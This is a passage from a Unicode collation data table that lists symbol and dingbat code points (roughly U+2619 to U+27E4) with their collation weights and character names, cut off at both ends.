SHAMROCK +2619 ; [*090D.0020.0002] # REVERSED ROTATED FLORAL HEART BULLET +261A ; [*090E.0020.0002] # BLACK LEFT POINTING INDEX +261B ; [*090F.0020.0002] # BLACK RIGHT POINTING INDEX +261C ; [*0910.0020.0002] # WHITE LEFT POINTING INDEX +261D ; [*0911.0020.0002] # WHITE UP POINTING INDEX +261E ; [*0912.0020.0002] # WHITE RIGHT POINTING INDEX +261F ; [*0913.0020.0002] # WHITE DOWN POINTING INDEX +2620 ; [*0914.0020.0002] # SKULL AND CROSSBONES +2621 ; [*0915.0020.0002] # CAUTION SIGN +2622 ; [*0916.0020.0002] # RADIOACTIVE SIGN +2623 ; [*0917.0020.0002] # BIOHAZARD SIGN +2624 ; [*0918.0020.0002] # CADUCEUS +2625 ; [*0919.0020.0002] # ANKH +2626 ; [*091A.0020.0002] # ORTHODOX CROSS +2627 ; [*091B.0020.0002] # CHI RHO +2628 ; [*091C.0020.0002] # CROSS OF LORRAINE +2629 ; [*091D.0020.0002] # CROSS OF JERUSALEM +262A ; [*091E.0020.0002] # STAR AND CRESCENT +262B ; [*091F.0020.0002] # FARSI SYMBOL +262C ; [*0920.0020.0002] # ADI SHAKTI +262D ; [*0921.0020.0002] # HAMMER AND SICKLE +262E ; [*0922.0020.0002] # PEACE SYMBOL +262F ; [*0923.0020.0002] # YIN YANG +2630 ; [*0E7E.0020.0002] # TRIGRAM FOR HEAVEN +2631 ; [*0E7F.0020.0002] # TRIGRAM FOR LAKE +2632 ; [*0E80.0020.0002] # TRIGRAM FOR FIRE +2633 ; [*0E81.0020.0002] # TRIGRAM FOR THUNDER +2634 ; [*0E82.0020.0002] # TRIGRAM FOR WIND +2635 ; [*0E83.0020.0002] # TRIGRAM FOR WATER +2636 ; [*0E84.0020.0002] # TRIGRAM FOR MOUNTAIN +2637 ; [*0E85.0020.0002] # TRIGRAM FOR EARTH +2638 ; [*0924.0020.0002] # WHEEL OF DHARMA +2639 ; [*0925.0020.0002] # WHITE FROWNING FACE +263A ; [*0926.0020.0002] # WHITE SMILING FACE +263B ; [*0927.0020.0002] # BLACK SMILING FACE +263C ; [*0928.0020.0002] # WHITE SUN WITH RAYS +263D ; [*0929.0020.0002] # FIRST QUARTER MOON +263E ; [*092A.0020.0002] # LAST QUARTER MOON +263F ; [*092B.0020.0002] # MERCURY +2640 ; [*092C.0020.0002] # FEMALE SIGN +2641 ; [*092D.0020.0002] # EARTH +2642 ; [*092E.0020.0002] # MALE SIGN +2643 ; [*092F.0020.0002] # JUPITER +2644 ; [*0930.0020.0002] # SATURN +2645 ; [*0931.0020.0002] # URANUS +2646 ; [*0932.0020.0002] # NEPTUNE +2647 ; [*0933.0020.0002] # PLUTO +2648 ; [*0934.0020.0002] # ARIES +2649 ; [*0935.0020.0002] # TAURUS +264A ; [*0936.0020.0002] # GEMINI +264B ; [*0937.0020.0002] # CANCER +264C ; [*0938.0020.0002] # LEO +264D ; [*0939.0020.0002] # VIRGO +264E ; [*093A.0020.0002] # LIBRA +264F ; [*093B.0020.0002] # SCORPIUS +2650 ; [*093C.0020.0002] # SAGITTARIUS +2651 ; [*093D.0020.0002] # CAPRICORN +2652 ; [*093E.0020.0002] # AQUARIUS +2653 ; [*093F.0020.0002] # PISCES +2654 ; [*0940.0020.0002] # WHITE CHESS KING +2655 ; [*0941.0020.0002] # WHITE CHESS QUEEN +2656 ; [*0942.0020.0002] # WHITE CHESS ROOK +2657 ; [*0943.0020.0002] # WHITE CHESS BISHOP +2658 ; [*0944.0020.0002] # WHITE CHESS KNIGHT +2659 ; [*0945.0020.0002] # WHITE CHESS PAWN +265A ; [*0946.0020.0002] # BLACK CHESS KING +265B ; [*0947.0020.0002] # BLACK CHESS QUEEN +265C ; [*0948.0020.0002] # BLACK CHESS ROOK +265D ; [*0949.0020.0002] # BLACK CHESS BISHOP +265E ; [*094A.0020.0002] # BLACK CHESS KNIGHT +265F ; [*094B.0020.0002] # BLACK CHESS PAWN +2660 ; [*094C.0020.0002] # BLACK SPADE SUIT +2661 ; [*094D.0020.0002] # WHITE HEART SUIT +2662 ; [*094E.0020.0002] # WHITE DIAMOND SUIT +2663 ; [*094F.0020.0002] # BLACK CLUB SUIT +2664 ; [*0950.0020.0002] # WHITE SPADE SUIT +2665 ; [*0951.0020.0002] # BLACK HEART SUIT +2666 ; [*0952.0020.0002] # BLACK DIAMOND SUIT +2667 ; [*0953.0020.0002] # WHITE CLUB SUIT +2668 ; [*0954.0020.0002] # HOT SPRINGS +2669 ; [*0955.0020.0002] # QUARTER NOTE +266A ; [*0956.0020.0002] # EIGHTH NOTE +266B ; [*0957.0020.0002] # BEAMED EIGHTH NOTES +266C ; [*0958.0020.0002] # BEAMED SIXTEENTH NOTES +266D ; [*10CD.0020.0002] # MUSIC FLAT SIGN +266E ; [*10CE.0020.0002] # MUSIC NATURAL SIGN +266F ; [*10CF.0020.0002] # MUSIC SHARP SIGN +2670 ; [*0959.0020.0002] # WEST SYRIAC CROSS +2671 ; [*095A.0020.0002] # EAST SYRIAC CROSS +2672 ; [*095B.0020.0002] # UNIVERSAL RECYCLING SYMBOL +2673 ; [*095C.0020.0002] # RECYCLING SYMBOL FOR TYPE-1 PLASTICS +2674 ; [*095D.0020.0002] # RECYCLING SYMBOL FOR TYPE-2 PLASTICS +2675 ; [*095E.0020.0002] # RECYCLING SYMBOL FOR TYPE-3 PLASTICS +2676 ; [*095F.0020.0002] # RECYCLING SYMBOL FOR TYPE-4 PLASTICS +2677 ; [*0960.0020.0002] # RECYCLING SYMBOL FOR TYPE-5 PLASTICS +2678 ; [*0961.0020.0002] # RECYCLING SYMBOL FOR TYPE-6 PLASTICS +2679 ; [*0962.0020.0002] # RECYCLING SYMBOL FOR TYPE-7 PLASTICS +267A ; [*0963.0020.0002] # RECYCLING SYMBOL FOR GENERIC MATERIALS +267B ; [*0964.0020.0002] # BLACK UNIVERSAL RECYCLING SYMBOL +267C ; [*0965.0020.0002] # RECYCLED PAPER SYMBOL +267D ; [*0966.0020.0002] # PARTIALLY-RECYCLED PAPER SYMBOL +267E ; [*0967.0020.0002] # PERMANENT PAPER SIGN +267F ; [*0968.0020.0002] # WHEELCHAIR SYMBOL +2680 ; [*0969.0020.0002] # DIE FACE-1 +2681 ; [*096A.0020.0002] # DIE FACE-2 +2682 ; [*096B.0020.0002] # DIE FACE-3 +2683 ; [*096C.0020.0002] # DIE FACE-4 +2684 ; [*096D.0020.0002] # DIE FACE-5 +2685 ; [*096E.0020.0002] # DIE FACE-6 +2686 ; [*096F.0020.0002] # WHITE CIRCLE WITH DOT RIGHT +2687 ; [*0970.0020.0002] # WHITE CIRCLE WITH TWO DOTS +2688 ; [*0971.0020.0002] # BLACK CIRCLE WITH WHITE DOT RIGHT +2689 ; [*0972.0020.0002] # BLACK CIRCLE WITH TWO WHITE DOTS +268A ; [*0E78.0020.0002] # MONOGRAM FOR YANG +268B ; [*0E79.0020.0002] # MONOGRAM FOR YIN +268C ; [*0E7A.0020.0002] # DIGRAM FOR GREATER YANG +268D ; [*0E7B.0020.0002] # DIGRAM FOR LESSER YIN +268E ; [*0E7C.0020.0002] # DIGRAM FOR LESSER YANG +268F ; [*0E7D.0020.0002] # DIGRAM FOR GREATER YIN +2690 ; [*0973.0020.0002] # WHITE FLAG +2691 ; [*0974.0020.0002] # BLACK FLAG +2692 ; [*0975.0020.0002] # HAMMER AND PICK +2693 ; [*0976.0020.0002] # ANCHOR +2694 ; [*0977.0020.0002] # CROSSED SWORDS +2695 ; [*0978.0020.0002] # STAFF OF AESCULAPIUS +2696 ; [*0979.0020.0002] # SCALES +2697 ; [*097A.0020.0002] # ALEMBIC +2698 ; [*097B.0020.0002] # FLOWER +2699 ; [*097C.0020.0002] # GEAR +269A ; [*097D.0020.0002] # STAFF OF HERMES +269B ; [*097E.0020.0002] # ATOM SYMBOL +269C ; [*097F.0020.0002] # FLEUR-DE-LIS +269D ; [*0980.0020.0002] # OUTLINED WHITE STAR +269E ; [*0981.0020.0002] # THREE LINES CONVERGING RIGHT +269F ; [*0982.0020.0002] # THREE LINES CONVERGING LEFT +26A0 ; [*0983.0020.0002] # WARNING SIGN +26A1 ; [*0984.0020.0002] # HIGH VOLTAGE SIGN +26A2 ; [*0985.0020.0002] # DOUBLED FEMALE SIGN +26A3 ; [*0986.0020.0002] # DOUBLED MALE SIGN +26A4 ; [*0987.0020.0002] # INTERLOCKED FEMALE AND MALE SIGN +26A5 ; [*0988.0020.0002] # MALE AND FEMALE SIGN +26A6 ; [*0989.0020.0002] # MALE WITH STROKE SIGN +26A7 ; [*098A.0020.0002] # MALE WITH STROKE AND MALE AND FEMALE SIGN +26A8 ; [*098B.0020.0002] # VERTICAL MALE WITH STROKE SIGN +26A9 ; [*098C.0020.0002] # HORIZONTAL MALE WITH STROKE SIGN +26AA ; [*098D.0020.0002] # MEDIUM WHITE CIRCLE +26AB ; [*098E.0020.0002] # MEDIUM BLACK CIRCLE +26AC ; [*098F.0020.0002] # MEDIUM SMALL WHITE CIRCLE +26AD ; [*0990.0020.0002] # MARRIAGE SYMBOL +26AE ; [*0991.0020.0002] # DIVORCE SYMBOL +26AF ; [*0992.0020.0002] # UNMARRIED PARTNERSHIP SYMBOL +26B0 ; [*0993.0020.0002] # COFFIN +26B1 ; [*0994.0020.0002] # FUNERAL URN +26B2 ; [*0995.0020.0002] # NEUTER +26B3 ; [*0996.0020.0002] # CERES +26B4 ; [*0997.0020.0002] # PALLAS +26B5 ; [*0998.0020.0002] # JUNO +26B6 ; [*0999.0020.0002] # VESTA +26B7 ; [*099A.0020.0002] # CHIRON +26B8 ; [*099B.0020.0002] # BLACK MOON LILITH +26B9 ; [*099C.0020.0002] # SEXTILE +26BA ; [*099D.0020.0002] # SEMISEXTILE +26BB ; [*099E.0020.0002] # QUINCUNX +26BC ; [*099F.0020.0002] # SESQUIQUADRATE +26BD ; [*09A0.0020.0002] # SOCCER BALL +26BE ; [*09A1.0020.0002] # BASEBALL +26BF ; [*09A2.0020.0002] # SQUARED KEY +26C0 ; [*09A3.0020.0002] # WHITE DRAUGHTS MAN +26C1 ; [*09A4.0020.0002] # WHITE DRAUGHTS KING +26C2 ; [*09A5.0020.0002] # BLACK DRAUGHTS MAN +26C3 ; [*09A6.0020.0002] # BLACK DRAUGHTS KING +26C4 ; [*09A7.0020.0002] # SNOWMAN WITHOUT SNOW +26C5 ; [*09A8.0020.0002] # SUN BEHIND CLOUD +26C6 ; [*09A9.0020.0002] # RAIN +26C7 ; [*09AA.0020.0002] # BLACK SNOWMAN +26C8 ; [*09AB.0020.0002] # THUNDER CLOUD AND RAIN +26C9 ; [*09AC.0020.0002] # TURNED WHITE SHOGI PIECE +26CA ; [*09AD.0020.0002] # TURNED BLACK SHOGI PIECE +26CB ; [*09AE.0020.0002] # WHITE DIAMOND IN SQUARE +26CC ; [*09AF.0020.0002] # CROSSING LANES +26CD ; [*09B0.0020.0002] # DISABLED CAR +26CE ; [*09B1.0020.0002] # OPHIUCHUS +26CF ; [*09B2.0020.0002] # PICK +26D0 ; [*09B3.0020.0002] # CAR SLIDING +26D1 ; [*09B4.0020.0002] # HELMET WITH WHITE CROSS +26D2 ; [*09B5.0020.0002] # CIRCLED CROSSING LANES +26D3 ; [*09B6.0020.0002] # CHAINS +26D4 ; [*09B7.0020.0002] # NO ENTRY +26D5 ; [*09B8.0020.0002] # ALTERNATE ONE-WAY LEFT WAY TRAFFIC +26D6 ; [*09B9.0020.0002] # BLACK TWO-WAY LEFT WAY TRAFFIC +26D7 ; [*09BA.0020.0002] # WHITE TWO-WAY LEFT WAY TRAFFIC +26D8 ; [*09BB.0020.0002] # BLACK LEFT LANE MERGE +26D9 ; [*09BC.0020.0002] # WHITE LEFT LANE MERGE +26DA ; [*09BD.0020.0002] # DRIVE SLOW SIGN +26DB ; [*09BE.0020.0002] # HEAVY WHITE DOWN-POINTING TRIANGLE +26DC ; [*09BF.0020.0002] # LEFT CLOSED ENTRY +26DD ; [*09C0.0020.0002] # SQUARED SALTIRE +26DE ; [*09C1.0020.0002] # FALLING DIAGONAL IN WHITE CIRCLE IN BLACK SQUARE +26DF ; [*09C2.0020.0002] # BLACK TRUCK +26E0 ; [*09C3.0020.0002] # RESTRICTED LEFT ENTRY-1 +26E1 ; [*09C4.0020.0002] # RESTRICTED LEFT ENTRY-2 +26E2 ; [*09C5.0020.0002] # ASTRONOMICAL SYMBOL FOR URANUS +26E3 ; [*09C6.0020.0002] # HEAVY CIRCLE WITH STROKE AND TWO DOTS ABOVE +26E4 ; [*09C7.0020.0002] # PENTAGRAM +26E5 ; [*09C8.0020.0002] # RIGHT-HANDED INTERLACED PENTAGRAM +26E6 ; [*09C9.0020.0002] # LEFT-HANDED INTERLACED PENTAGRAM +26E7 ; [*09CA.0020.0002] # INVERTED PENTAGRAM +26E8 ; [*09CB.0020.0002] # BLACK CROSS ON SHIELD +26E9 ; [*09CC.0020.0002] # SHINTO SHRINE +26EA ; [*09CD.0020.0002] # CHURCH +26EB ; [*09CE.0020.0002] # CASTLE +26EC ; [*09CF.0020.0002] # HISTORIC SITE +26ED ; [*09D0.0020.0002] # GEAR WITHOUT HUB +26EE ; [*09D1.0020.0002] # GEAR WITH HANDLES +26EF ; [*09D2.0020.0002] # MAP SYMBOL FOR LIGHTHOUSE +26F0 ; [*09D3.0020.0002] # MOUNTAIN +26F1 ; [*09D4.0020.0002] # UMBRELLA ON GROUND +26F2 ; [*09D5.0020.0002] # FOUNTAIN +26F3 ; [*09D6.0020.0002] # FLAG IN HOLE +26F4 ; [*09D7.0020.0002] # FERRY +26F5 ; [*09D8.0020.0002] # SAILBOAT +26F6 ; [*09D9.0020.0002] # SQUARE FOUR CORNERS +26F7 ; [*09DA.0020.0002] # SKIER +26F8 ; [*09DB.0020.0002] # ICE SKATE +26F9 ; [*09DC.0020.0002] # PERSON WITH BALL +26FA ; [*09DD.0020.0002] # TENT +26FB ; [*09DE.0020.0002] # JAPANESE BANK SYMBOL +26FC ; [*09DF.0020.0002] # HEADSTONE GRAVEYARD SYMBOL +26FD ; [*09E0.0020.0002] # FUEL PUMP +26FE ; [*09E1.0020.0002] # CUP ON BLACK SQUARE +26FF ; [*09E2.0020.0002] # WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE +2700 ; [*09FD.0020.0002] # BLACK SAFETY SCISSORS +2701 ; [*09FE.0020.0002] # UPPER BLADE SCISSORS +2702 ; [*09FF.0020.0002] # BLACK SCISSORS +2703 ; [*0A00.0020.0002] # LOWER BLADE SCISSORS +2704 ; [*0A01.0020.0002] # WHITE SCISSORS +2705 ; [*0A02.0020.0002] # WHITE HEAVY CHECK MARK +2706 ; [*0A03.0020.0002] # TELEPHONE LOCATION SIGN +2707 ; [*0A04.0020.0002] # TAPE DRIVE +2708 ; [*0A05.0020.0002] # AIRPLANE +2709 ; [*0A06.0020.0002] # ENVELOPE +270A ; [*0A07.0020.0002] # RAISED FIST +270B ; [*0A08.0020.0002] # RAISED HAND +270C ; [*0A09.0020.0002] # VICTORY HAND +270D ; [*0A0A.0020.0002] # WRITING HAND +270E ; [*0A0B.0020.0002] # LOWER RIGHT PENCIL +270F ; [*0A0C.0020.0002] # PENCIL +2710 ; [*0A0D.0020.0002] # UPPER RIGHT PENCIL +2711 ; [*0A0E.0020.0002] # WHITE NIB +2712 ; [*0A0F.0020.0002] # BLACK NIB +2713 ; [*0A10.0020.0002] # CHECK MARK +2714 ; [*0A11.0020.0002] # HEAVY CHECK MARK +2715 ; [*0A12.0020.0002] # MULTIPLICATION X +2716 ; [*0A13.0020.0002] # HEAVY MULTIPLICATION X +2717 ; [*0A14.0020.0002] # BALLOT X +2718 ; [*0A15.0020.0002] # HEAVY BALLOT X +2719 ; [*0A16.0020.0002] # OUTLINED GREEK CROSS +271A ; [*0A17.0020.0002] # HEAVY GREEK CROSS +271B ; [*0A18.0020.0002] # OPEN CENTRE CROSS +271C ; [*0A19.0020.0002] # HEAVY OPEN CENTRE CROSS +271D ; [*0A1A.0020.0002] # LATIN CROSS +271E ; [*0A1B.0020.0002] # SHADOWED WHITE LATIN CROSS +271F ; [*0A1C.0020.0002] # OUTLINED LATIN CROSS +2720 ; [*0A1D.0020.0002] # MALTESE CROSS +2721 ; [*0A1E.0020.0002] # STAR OF DAVID +2722 ; [*0A1F.0020.0002] # FOUR TEARDROP-SPOKED ASTERISK +2723 ; [*0A20.0020.0002] # FOUR BALLOON-SPOKED ASTERISK +2724 ; [*0A21.0020.0002] # HEAVY FOUR BALLOON-SPOKED ASTERISK +2725 ; [*0A22.0020.0002] # FOUR CLUB-SPOKED ASTERISK +2726 ; [*0A23.0020.0002] # BLACK FOUR POINTED STAR +2727 ; [*0A24.0020.0002] # WHITE FOUR POINTED STAR +2728 ; [*0A25.0020.0002] # SPARKLES +2729 ; [*0A26.0020.0002] # STRESS OUTLINED WHITE STAR +272A ; [*0A27.0020.0002] # CIRCLED WHITE STAR +272B ; [*0A28.0020.0002] # OPEN CENTRE BLACK STAR +272C ; [*0A29.0020.0002] # BLACK CENTRE WHITE STAR +272D ; [*0A2A.0020.0002] # OUTLINED BLACK STAR +272E ; [*0A2B.0020.0002] # HEAVY OUTLINED BLACK STAR +272F ; [*0A2C.0020.0002] # PINWHEEL STAR +2730 ; [*0A2D.0020.0002] # SHADOWED WHITE STAR +2731 ; [*0A2E.0020.0002] # HEAVY ASTERISK +2732 ; [*0A2F.0020.0002] # OPEN CENTRE ASTERISK +2733 ; [*0A30.0020.0002] # EIGHT SPOKED ASTERISK +2734 ; [*0A31.0020.0002] # EIGHT POINTED BLACK STAR +2735 ; [*0A32.0020.0002] # EIGHT POINTED PINWHEEL STAR +2736 ; [*0A33.0020.0002] # SIX POINTED BLACK STAR +2737 ; [*0A34.0020.0002] # EIGHT POINTED RECTILINEAR BLACK STAR +2738 ; [*0A35.0020.0002] # HEAVY EIGHT POINTED RECTILINEAR BLACK STAR +2739 ; [*0A36.0020.0002] # TWELVE POINTED BLACK STAR +273A ; [*0A37.0020.0002] # SIXTEEN POINTED ASTERISK +273B ; [*0A38.0020.0002] # TEARDROP-SPOKED ASTERISK +273C ; [*0A39.0020.0002] # OPEN CENTRE TEARDROP-SPOKED ASTERISK +273D ; [*0A3A.0020.0002] # HEAVY TEARDROP-SPOKED ASTERISK +273E ; [*0A3B.0020.0002] # SIX PETALLED BLACK AND WHITE FLORETTE +273F ; [*0A3C.0020.0002] # BLACK FLORETTE +2740 ; [*0A3D.0020.0002] # WHITE FLORETTE +2741 ; [*0A3E.0020.0002] # EIGHT PETALLED OUTLINED BLACK FLORETTE +2742 ; [*0A3F.0020.0002] # CIRCLED OPEN CENTRE EIGHT POINTED STAR +2743 ; [*0A40.0020.0002] # HEAVY TEARDROP-SPOKED PINWHEEL ASTERISK +2744 ; [*0A41.0020.0002] # SNOWFLAKE +2745 ; [*0A42.0020.0002] # TIGHT TRIFOLIATE SNOWFLAKE +2746 ; [*0A43.0020.0002] # HEAVY CHEVRON SNOWFLAKE +2747 ; [*0A44.0020.0002] # SPARKLE +2748 ; [*0A45.0020.0002] # HEAVY SPARKLE +2749 ; [*0A46.0020.0002] # BALLOON-SPOKED ASTERISK +274A ; [*0A47.0020.0002] # EIGHT TEARDROP-SPOKED PROPELLER ASTERISK +274B ; [*0A48.0020.0002] # HEAVY EIGHT TEARDROP-SPOKED PROPELLER ASTERISK +274C ; [*0A49.0020.0002] # CROSS MARK +274D ; [*0A4A.0020.0002] # SHADOWED WHITE CIRCLE +274E ; [*0A4B.0020.0002] # NEGATIVE SQUARED CROSS MARK +274F ; [*0A4C.0020.0002] # LOWER RIGHT DROP-SHADOWED WHITE SQUARE +2750 ; [*0A4D.0020.0002] # UPPER RIGHT DROP-SHADOWED WHITE SQUARE +2751 ; [*0A4E.0020.0002] # LOWER RIGHT SHADOWED WHITE SQUARE +2752 ; [*0A4F.0020.0002] # UPPER RIGHT SHADOWED WHITE SQUARE +2753 ; [*0A50.0020.0002] # BLACK QUESTION MARK ORNAMENT +2754 ; [*0A51.0020.0002] # WHITE QUESTION MARK ORNAMENT +2755 ; [*0A52.0020.0002] # WHITE EXCLAMATION MARK ORNAMENT +2756 ; [*0A53.0020.0002] # BLACK DIAMOND MINUS WHITE X +2757 ; [*0A54.0020.0002] # HEAVY EXCLAMATION MARK SYMBOL +2758 ; [*0A55.0020.0002] # LIGHT VERTICAL BAR +2759 ; [*0A56.0020.0002] # MEDIUM VERTICAL BAR +275A ; [*0A57.0020.0002] # HEAVY VERTICAL BAR +275B ; [*0A58.0020.0002] # HEAVY SINGLE TURNED COMMA QUOTATION MARK ORNAMENT +275C ; [*0A59.0020.0002] # HEAVY SINGLE COMMA QUOTATION MARK ORNAMENT +275D ; [*0A5A.0020.0002] # HEAVY DOUBLE TURNED COMMA QUOTATION MARK ORNAMENT +275E ; [*0A5B.0020.0002] # HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT +275F ; [*0A5C.0020.0002] # HEAVY LOW SINGLE COMMA QUOTATION MARK ORNAMENT +2760 ; [*0A5D.0020.0002] # HEAVY LOW DOUBLE COMMA QUOTATION MARK ORNAMENT +2761 ; [*0A5E.0020.0002] # CURVED STEM PARAGRAPH SIGN ORNAMENT +2762 ; [*0A5F.0020.0002] # HEAVY EXCLAMATION MARK ORNAMENT +2763 ; [*0A60.0020.0002] # HEAVY HEART EXCLAMATION MARK ORNAMENT +2764 ; [*0A61.0020.0002] # HEAVY BLACK HEART +2765 ; [*0A62.0020.0002] # ROTATED HEAVY BLACK HEART BULLET +2766 ; [*0A63.0020.0002] # FLORAL HEART +2767 ; [*0A64.0020.0002] # ROTATED FLORAL HEART BULLET +2768 ; [*0346.0020.0002] # MEDIUM LEFT PARENTHESIS ORNAMENT +2769 ; [*0347.0020.0002] # MEDIUM RIGHT PARENTHESIS ORNAMENT +276A ; [*0348.0020.0002] # MEDIUM FLATTENED LEFT PARENTHESIS ORNAMENT +276B ; [*0349.0020.0002] # MEDIUM FLATTENED RIGHT PARENTHESIS ORNAMENT +276C ; [*034A.0020.0002] # MEDIUM LEFT-POINTING ANGLE BRACKET ORNAMENT +276D ; [*034B.0020.0002] # MEDIUM RIGHT-POINTING ANGLE BRACKET ORNAMENT +276E ; [*034C.0020.0002] # HEAVY LEFT-POINTING ANGLE QUOTATION MARK ORNAMENT +276F ; [*034D.0020.0002] # HEAVY RIGHT-POINTING ANGLE QUOTATION MARK ORNAMENT +2770 ; [*034E.0020.0002] # HEAVY LEFT-POINTING ANGLE BRACKET ORNAMENT +2771 ; [*034F.0020.0002] # HEAVY RIGHT-POINTING ANGLE BRACKET ORNAMENT +2772 ; [*0350.0020.0002] # LIGHT LEFT TORTOISE SHELL BRACKET ORNAMENT +2773 ; [*0351.0020.0002] # LIGHT RIGHT TORTOISE SHELL BRACKET ORNAMENT +2774 ; [*0352.0020.0002] # MEDIUM LEFT CURLY BRACKET ORNAMENT +2775 ; [*0353.0020.0002] # MEDIUM RIGHT CURLY BRACKET ORNAMENT +2794 ; [*0A65.0020.0002] # HEAVY WIDE-HEADED RIGHTWARDS ARROW +2795 ; [*0A66.0020.0002] # HEAVY PLUS SIGN +2796 ; [*0A67.0020.0002] # HEAVY MINUS SIGN +2797 ; [*0A68.0020.0002] # HEAVY DIVISION SIGN +2798 ; [*0A69.0020.0002] # HEAVY SOUTH EAST ARROW +2799 ; [*0A6A.0020.0002] # HEAVY RIGHTWARDS ARROW +279A ; [*0A6B.0020.0002] # HEAVY NORTH EAST ARROW +279B ; [*0A6C.0020.0002] # DRAFTING POINT RIGHTWARDS ARROW +279C ; [*0A6D.0020.0002] # HEAVY ROUND-TIPPED RIGHTWARDS ARROW +279D ; [*0A6E.0020.0002] # TRIANGLE-HEADED RIGHTWARDS ARROW +279E ; [*0A6F.0020.0002] # HEAVY TRIANGLE-HEADED RIGHTWARDS ARROW +279F ; [*0A70.0020.0002] # DASHED TRIANGLE-HEADED RIGHTWARDS ARROW +27A0 ; [*0A71.0020.0002] # HEAVY DASHED TRIANGLE-HEADED RIGHTWARDS ARROW +27A1 ; [*0A72.0020.0002] # BLACK RIGHTWARDS ARROW +27A2 ; [*0A73.0020.0002] # THREE-D TOP-LIGHTED RIGHTWARDS ARROWHEAD +27A3 ; [*0A74.0020.0002] # THREE-D BOTTOM-LIGHTED RIGHTWARDS ARROWHEAD +27A4 ; [*0A75.0020.0002] # BLACK RIGHTWARDS ARROWHEAD +27A5 ; [*0A76.0020.0002] # HEAVY BLACK CURVED DOWNWARDS AND RIGHTWARDS ARROW +27A6 ; [*0A77.0020.0002] # HEAVY BLACK CURVED UPWARDS AND RIGHTWARDS ARROW +27A7 ; [*0A78.0020.0002] # SQUAT BLACK RIGHTWARDS ARROW +27A8 ; [*0A79.0020.0002] # HEAVY CONCAVE-POINTED BLACK RIGHTWARDS ARROW +27A9 ; [*0A7A.0020.0002] # RIGHT-SHADED WHITE RIGHTWARDS ARROW +27AA ; [*0A7B.0020.0002] # LEFT-SHADED WHITE RIGHTWARDS ARROW +27AB ; [*0A7C.0020.0002] # BACK-TILTED SHADOWED WHITE RIGHTWARDS ARROW +27AC ; [*0A7D.0020.0002] # FRONT-TILTED SHADOWED WHITE RIGHTWARDS ARROW +27AD ; [*0A7E.0020.0002] # HEAVY LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW +27AE ; [*0A7F.0020.0002] # HEAVY UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW +27AF ; [*0A80.0020.0002] # NOTCHED LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW +27B0 ; [*0A81.0020.0002] # CURLY LOOP +27B1 ; [*0A82.0020.0002] # NOTCHED UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW +27B2 ; [*0A83.0020.0002] # CIRCLED HEAVY WHITE RIGHTWARDS ARROW +27B3 ; [*0A84.0020.0002] # WHITE-FEATHERED RIGHTWARDS ARROW +27B4 ; [*0A85.0020.0002] # BLACK-FEATHERED SOUTH EAST ARROW +27B5 ; [*0A86.0020.0002] # BLACK-FEATHERED RIGHTWARDS ARROW +27B6 ; [*0A87.0020.0002] # BLACK-FEATHERED NORTH EAST ARROW +27B7 ; [*0A88.0020.0002] # HEAVY BLACK-FEATHERED SOUTH EAST ARROW +27B8 ; [*0A89.0020.0002] # HEAVY BLACK-FEATHERED RIGHTWARDS ARROW +27B9 ; [*0A8A.0020.0002] # HEAVY BLACK-FEATHERED NORTH EAST ARROW +27BA ; [*0A8B.0020.0002] # TEARDROP-BARBED RIGHTWARDS ARROW +27BB ; [*0A8C.0020.0002] # HEAVY TEARDROP-SHANKED RIGHTWARDS ARROW +27BC ; [*0A8D.0020.0002] # WEDGE-TAILED RIGHTWARDS ARROW +27BD ; [*0A8E.0020.0002] # HEAVY WEDGE-TAILED RIGHTWARDS ARROW +27BE ; [*0A8F.0020.0002] # OPEN-OUTLINED RIGHTWARDS ARROW +27BF ; [*0A90.0020.0002] # DOUBLE CURLY LOOP +27C0 ; [*0A91.0020.0002] # THREE DIMENSIONAL ANGLE +27C1 ; [*0A92.0020.0002] # WHITE TRIANGLE CONTAINING SMALL WHITE TRIANGLE +27C2 ; [*0A93.0020.0002] # PERPENDICULAR +27C3 ; [*0A94.0020.0002] # OPEN SUBSET +27C4 ; [*0A95.0020.0002] # OPEN SUPERSET +27C5 ; [*033A.0020.0002] # LEFT S-SHAPED BAG DELIMITER +27C6 ; [*033B.0020.0002] # RIGHT S-SHAPED BAG DELIMITER +27C7 ; [*0A96.0020.0002] # OR WITH DOT INSIDE +27C8 ; [*0A97.0020.0002] # REVERSE SOLIDUS PRECEDING SUBSET +27C9 ; [*0A98.0020.0002] # SUPERSET PRECEDING SOLIDUS +27CA ; [*0A99.0020.0002] # VERTICAL BAR WITH HORIZONTAL STROKE +27CB ; [*0A9A.0020.0002] # MATHEMATICAL RISING DIAGONAL +27CC ; [*0A9B.0020.0002] # LONG DIVISION +27CD ; [*0A9C.0020.0002] # MATHEMATICAL FALLING DIAGONAL +27CE ; [*0A9D.0020.0002] # SQUARED LOGICAL AND +27CF ; [*0A9E.0020.0002] # SQUARED LOGICAL OR +27D0 ; [*0A9F.0020.0002] # WHITE DIAMOND WITH CENTRED DOT +27D1 ; [*0AA0.0020.0002] # AND WITH DOT +27D2 ; [*0AA1.0020.0002] # ELEMENT OF OPENING UPWARDS +27D3 ; [*0AA2.0020.0002] # LOWER RIGHT CORNER WITH DOT +27D4 ; [*0AA3.0020.0002] # UPPER LEFT CORNER WITH DOT +27D5 ; [*0AA4.0020.0002] # LEFT OUTER JOIN +27D6 ; [*0AA5.0020.0002] # RIGHT OUTER JOIN +27D7 ; [*0AA6.0020.0002] # FULL OUTER JOIN +27D8 ; [*0AA7.0020.0002] # LARGE UP TACK +27D9 ; [*0AA8.0020.0002] # LARGE DOWN TACK +27DA ; [*0AA9.0020.0002] # LEFT AND RIGHT DOUBLE TURNSTILE +27DB ; [*0AAA.0020.0002] # LEFT AND RIGHT TACK +27DC ; [*0AAB.0020.0002] # LEFT MULTIMAP +27DD ; [*0AAC.0020.0002] # LONG RIGHT TACK +27DE ; [*0AAD.0020.0002] # LONG LEFT TACK +27DF ; [*0AAE.0020.0002] # UP TACK WITH CIRCLE ABOVE +27E0 ; [*0AAF.0020.0002] # LOZENGE DIVIDED BY HORIZONTAL RULE +27E1 ; [*0AB0.0020.0002] # WHITE CONCAVE-SIDED DIAMOND +27E2 ; [*0AB1.0020.0002] # WHITE CONCAVE-SIDED DIAMOND WITH LEFTWARDS TICK +27E3 ; [*0AB2.0020.0002] # WHITE CONCAVE-SIDED DIAMOND WITH RIGHTWARDS TICK +27E4 ; [*0AB3.0020.0002] # 